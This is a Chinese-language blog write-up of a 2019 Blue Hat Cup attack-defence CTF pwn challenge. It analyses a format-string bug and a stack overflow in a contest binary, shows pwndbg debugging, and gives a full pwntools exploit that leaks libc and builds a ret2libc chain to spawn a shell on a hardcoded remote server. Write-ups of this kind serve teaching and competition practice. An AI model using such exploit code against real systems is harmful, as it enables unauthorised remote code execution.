2019蓝帽杯决赛--PWN - ZhouYetao

2019蓝帽杯决赛--PWN

2019蓝帽杯决赛--PWN

小记

这次的比赛可以说是到现在为止最差的成绩了,这次比赛怎么说呢,pwn这块虽然是打出来了,但是没有对方那么熟练,没有想到上传后门,而且这次的比赛平台还是有点问题,pwn题的权限分配竟然还有rm!!!所以就导致了这次pwn也出现了awd少见的“搅屎”的情况。

Part1--break

1、程序的逆向分析

main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 2 )
      break;
    if ( v3 == 3 )
      old_heap();
    if ( v3 != 1 )
    {
      puts("bye bye");
      exit(1);
    }
    getname1();
  }
  stack_heap();
}

因为是AWD比赛,所以还是比较注重时间和效率,这边就找了一个最简单的洞:

int getname1()
{
  int result; // eax
  char s; // [rsp+0h] [rbp-20h]
  char format; // [rsp+10h] [rbp-10h]

  puts("input your name");
  readi(&format, 24LL);
  printf(&format);
  memset(&s, 0, 0x10uLL);
  puts("Let's start a game, can you guess the keyword?");
  read(0, &s, 0x90uLL);
  if ( !strcmp(&s, keyword) )
    result = puts("good boy\n");
  else
    result = puts("fail");
  return result;
}

这里有两个洞,一个是fmt,还有一个就是最基础的StackOverflow了。

2、漏洞分析

  readi(&format, 24LL);
  printf(&format);

这里很明显是一个格式化字符串的漏洞,直接printf,没有外加任何参数,所以这边可以达到泄露地址的作用;

  char s; // [rsp+0h] [rbp-20h]
  ...
  read(0, &s, 0x90uLL);

这里就是一个栈溢出的漏洞了,而且可以栈溢出的字节很大,完全可以实现ret2libc,也不用去构造一个frame stack了。
以上两个漏洞完全足够get shell了。

3、利用思路

1、利用fmt泄露出libc的基地址;
2、然后构造rop chain就可以实现了,而且这边可以直接利用ret2libc,因为awd服务器上可以运用ldd命令,这样就可以直接将libc给dump下来,也就可以方便一点,不用ret2dl去做(当然这个利用LibcSearch也可以,这边最后会给出一位大佬的博客,也是我师傅的博客)。

4、GDB调试

ZhouYetao@ubuntu:~/Desktop/Jason/bluecat/break$ gdb -q
pwndbg: loaded 164 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> file pwn1
Reading symbols from pwn1...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x401130

首先是给main函数下一个断点,然后一直ni到我们的第一个输入:

   0x401159 <main+45>    call   __isoc99_scanf@plt <0x400820>

也就是这里,然后我们就输入“1”,这样我们就可以进入到有漏洞存在的函数中,然后si进入这个函数:

 ► 0x401175 <main+73>     call   getname1 <0x400dfd>

然后输入disassemble,下另一个断点到printf:

pwndbg> disassemble 
Dump of assembler code for function getname1:
=> 0x0000000000400dfd <+0>:    push   rbp
   0x0000000000400dfe <+1>:    mov    rbp,rsp
   0x0000000000400e01 <+4>:    sub    rsp,0x20
   0x0000000000400e05 <+8>:    mov    edi,0x401344
   0x0000000000400e0a <+13>:    call   0x400760 <puts@plt>
   0x0000000000400e0f <+18>:    lea    rax,[rbp-0x10]
   0x0000000000400e13 <+22>:    mov    esi,0x18
   0x0000000000400e18 <+27>:    mov    rdi,rax
   0x0000000000400e1b <+30>:    call   0x400d9c <readi>
   0x0000000000400e20 <+35>:    lea    rax,[rbp-0x10]
   0x0000000000400e24 <+39>:    mov    rdi,rax
   0x0000000000400e27 <+42>:    mov    eax,0x0
   0x0000000000400e2c <+47>:    call   0x400780 <printf@plt>
   0x0000000000400e31 <+52>:    lea    rax,[rbp-0x20]
   0x0000000000400e35 <+56>:    mov    edx,0x10
   0x0000000000400e3a <+61>:    mov    esi,0x0
   0x0000000000400e3f <+66>:    mov    rdi,rax
   0x0000000000400e42 <+69>:    call   0x400790 <memset@plt>
   0x0000000000400e47 <+74>:    mov    edi,0x401358
   0x0000000000400e4c <+79>:    call   0x400760 <puts@plt>
   0x0000000000400e51 <+84>:    lea    rax,[rbp-0x20]
   0x0000000000400e55 <+88>:    mov    edx,0x90
   0x0000000000400e5a <+93>:    mov    rsi,rax
   0x0000000000400e5d <+96>:    mov    edi,0x0
   0x0000000000400e62 <+101>:    mov    eax,0x0
   0x0000000000400e67 <+106>:    call   0x4007b0 <read@plt>
   0x0000000000400e6c <+111>:    mov    rdx,QWORD PTR [rip+0x201255]        # 0x6020c8 <keyword>
   0x0000000000400e73 <+118>:    lea    rax,[rbp-0x20]
   0x0000000000400e77 <+122>:    mov    rsi,rdx
   0x0000000000400e7a <+125>:    mov    rdi,rax
   0x0000000000400e7d <+128>:    call   0x4007d0 <strcmp@plt>
   0x0000000000400e82 <+133>:    test   eax,eax
   0x0000000000400e84 <+135>:    jne    0x400e92 <getname1+149>
   0x0000000000400e86 <+137>:    mov    edi,0x401387
   0x0000000000400e8b <+142>:    call   0x400760 <puts@plt>
   0x0000000000400e90 <+147>:    jmp    0x400e9c <getname1+159>
   0x0000000000400e92 <+149>:    mov    edi,0x401391
   0x0000000000400e97 <+154>:    call   0x400760 <puts@plt>
   0x0000000000400e9c <+159>:    nop
   0x0000000000400e9d <+160>:    leave  
   0x0000000000400e9e <+161>:    ret    
End of assembler dump.

断点下到这里:

   0x0000000000400e2c <+47>:    call   0x400780 <printf@plt>

然后c,让程序继续跑起来:

pwndbg> c
Continuing.
input your name
zhouyetao

这样程序就会停在我们的printf这边,这一步做的主要找到泄露的参数:

pwndbg> stack 50
00:0000│ rsp  0x7fffffffdcb0 ◂— 0x0
01:0008│      0x7fffffffdcb8 —▸ 0x7fffffffdcd0 —▸ 0x7fffffffdcf0 —▸ 0x4011b0 (__libc_csu_init) ◂— push   r15
02:0010│ rdi  0x7fffffffdcc0 ◂— 0x61746579756f687a ('zhouyeta')
03:0018│      0x7fffffffdcc8 —▸ 0x7ffff7ffe16f ◂— 0x7ffff7ffe6f800
04:0020│ rbp  0x7fffffffdcd0 —▸ 0x7fffffffdcf0 —▸ 0x4011b0 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdcd8 —▸ 0x40117a (main+78) ◂— jmp    0x4011a8
06:0030│      0x7fffffffdce0 —▸ 0x7fffffffddd0 ◂— 0x1
07:0038│      0x7fffffffdce8 ◂— 0x100000000
08:0040│      0x7fffffffdcf0 —▸ 0x4011b0 (__libc_csu_init) ◂— push   r15
09:0048│      0x7fffffffdcf8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
0a:0050│      0x7fffffffdd00 ◂— 0x0
0b:0058│      0x7fffffffdd08 —▸ 0x7fffffffddd8 —▸ 0x7fffffffe19c ◂— 0x69612f656d6f682f ('/home/ai')
0c:0060│      0x7fffffffdd10 ◂— 0x100000000
0d:0068│      0x7fffffffdd18 —▸ 0x40112c (main) ◂— push   rbp
0e:0070│      0x7fffffffdd20 ◂— 0x0
0f:0078│      0x7fffffffdd28 ◂— 0x84a0d1f5a2291e8a
10:0080│      0x7fffffffdd30 —▸ 0x400850 (_start) ◂— xor    ebp, ebp
11:0088│      0x7fffffffdd38 —▸ 0x7fffffffddd0 ◂— 0x1
12:0090│      0x7fffffffdd40 ◂— 0x0
... ↓
14:00a0│      0x7fffffffdd50 ◂— 0x7b5f2e8a3b491e8a
15:00a8│      0x7fffffffdd58 ◂— 0x7b5f3e302e991e8a
16:00b0│      0x7fffffffdd60 ◂— 0x0
... ↓
19:00c8│      0x7fffffffdd78 ◂— 0x1
1a:00d0│      0x7fffffffdd80 —▸ 0x40112c (main) ◂— push   rbp
1b:00d8│      0x7fffffffdd88 —▸ 0x401220 (__libc_csu_fini) ◂— ret    
1c:00e0│      0x7fffffffdd90 ◂— 0x0
... ↓
1e:00f0│      0x7fffffffdda0 —▸ 0x400850 (_start) ◂— xor    ebp, ebp
1f:00f8│      0x7fffffffdda8 —▸ 0x7fffffffddd0 ◂— 0x1
20:0100│      0x7fffffffddb0 ◂— 0x0
21:0108│      0x7fffffffddb8 —▸ 0x400879 (_start+41) ◂— hlt    
22:0110│      0x7fffffffddc0 —▸ 0x7fffffffddc8 ◂— 0x1c
23:0118│      0x7fffffffddc8 ◂— 0x1c
24:0120│ r13  0x7fffffffddd0 ◂— 0x1
25:0128│      0x7fffffffddd8 —▸ 0x7fffffffe19c ◂— 0x69612f656d6f682f ('/home/ai')
26:0130│      0x7fffffffdde0 ◂— 0x0
27:0138│      0x7fffffffdde8 —▸ 0x7fffffffe1cb ◂— 0x52455041505f434c ('LC_PAPER')
28:0140│      0x7fffffffddf0 —▸ 0x7fffffffe1e0 ◂— 'XDG_VTNR=7'
29:0148│      0x7fffffffddf8 —▸ 0x7fffffffe1eb ◂— 0x535345535f474458 ('XDG_SESS')
2a:0150│      0x7fffffffde00 —▸ 0x7fffffffe1fd ◂— 0x45524444415f434c ('LC_ADDRE')
2b:0158│      0x7fffffffde08 —▸ 0x7fffffffe214 ◂— 0x5f52455454554c43 ('CLUTTER_')
2c:0160│      0x7fffffffde10 —▸ 0x7fffffffe22a ◂— 0x54454e4f4d5f434c ('LC_MONET')
2d:0168│      0x7fffffffde18 —▸ 0x7fffffffe242 ◂— 0x454552475f474458 ('XDG_GREE')
2e:0170│      0x7fffffffde20 —▸ 0x7fffffffe275 ◂— 'SESSION=ubuntu'
2f:0178│      0x7fffffffde28 —▸ 0x7fffffffe284 ◂— 0x4e4547415f475047 ('GPG_AGEN')
30:0180│      0x7fffffffde30 —▸ 0x7fffffffe2b8 ◂— 0x622f3d4c4c454853 ('SHELL=/b')
31:0188│      0x7fffffffde38 —▸ 0x7fffffffe2c8 ◂— 0x554e454d5f474458 ('XDG_MENU')

这边GDB有一个很好用的工具,就是“fmtarg”,这个可以知道格式化的参数是多少,具体的有关fmt的漏洞的可以去看看wiki,那上面说的很详细。这边通过观察栈中数据,发现可以利用__libc_start_main来计算出libc的基地址,所以:

pwndbg> fmtarg 0x7fffffffdcf8
The index of format argument : 15

5、exp的构造

到上面的有关GDB调试部分就可以写出第一部分的exp,也就是泄露libc基地址

p.sendlineafter("choice:\n","1")
sleep(0.1)
name = "%15$p"
p.sendlineafter("\n",name)

__libc_start_main_off = libc.sym["__libc_start_main"]

libc_base_add = p.recv(14)
#print add
libc_base = int(add,16) - 0x20830
log.success("libc_base:0x%x",libc_base)

这一部分应该没有问题,第二个部分就是ret2libc的基本操作了,这里可以利用one_gadget,也可以直接用libc.search("/bin/sh").next()找到“/bin/sh”,然后就可以直接利用进行get shell。

__libc_start_main_off = libc.sym["__libc_start_main"]

add = p.recv(14)
#print add
libc_base = int(add,16) - 0x20830
log.success("libc_base:0x%x",libc_base)
one_gadget = 0x18cd57
sh = libc_base + one_gadget
log.success("binsh_add:0x%x",sh)
system_add = libc_base + libc.sym["system"]
log.success("system:0x%x",system_add)
poprdi_add = 0x401213
payload = "A" * 0x20 + "A" * 8+ p64(poprdi_add) + p64(sh) + p64(system_add) + p64(0xdeadbeef)
p.sendlineafter("keyword?\n",payload)

好了 这样就可以完成get shell了。

6、完整的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#p = process("./pwn1")
p = remote("47.102.202.175",10000)
libc = ELF("libc.so")
e = ELF("./pwn1")

'''
0x45216    execve("/bin/ssh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
0x0000000000401213 : pop rdi ; ret
'''
add = 0x400dfd
sleep(0.1)
p.sendlineafter("choice:\n","1")
sleep(0.1)
name = "%15$p"
p.sendlineafter("\n",name)

__libc_start_main_off = libc.sym["__libc_start_main"]

add = p.recv(14)
#print add
libc_base = int(add,16) - 0x20830
log.success("libc_base:0x%x",libc_base)
one_gadget = 0x18cd57
sh = libc_base + one_gadget
log.success("binsh_add:0x%x",sh)
system_add = libc_base + libc.sym["system"]
log.success("system:0x%x",system_add)
poprdi_add = 0x401213
payload = "A" * 0x20 + "A" * 8+ p64(poprdi_add) + p64(sh) + p64(system_add) + p64(0xdeadbeef)
p.sendlineafter("keyword?\n",payload)
#p.sendline("curl http://192.168.100.1/Getkey")
#sleep(0.1)
#print p.recv()
p.interactive()

Part2--fix阶段

这个和国赛的也大致相同,所以见我上一篇博客就好了,具体的url:https://zhouyetao.yzzaccept.top/index.php/2019/07/02/cisdn_pwn.html

Leave a Comment

@author:ZhouYetao
© 2020 Copyright.  | Power by Mijiu                                                                                               
本站已安全运行 902 天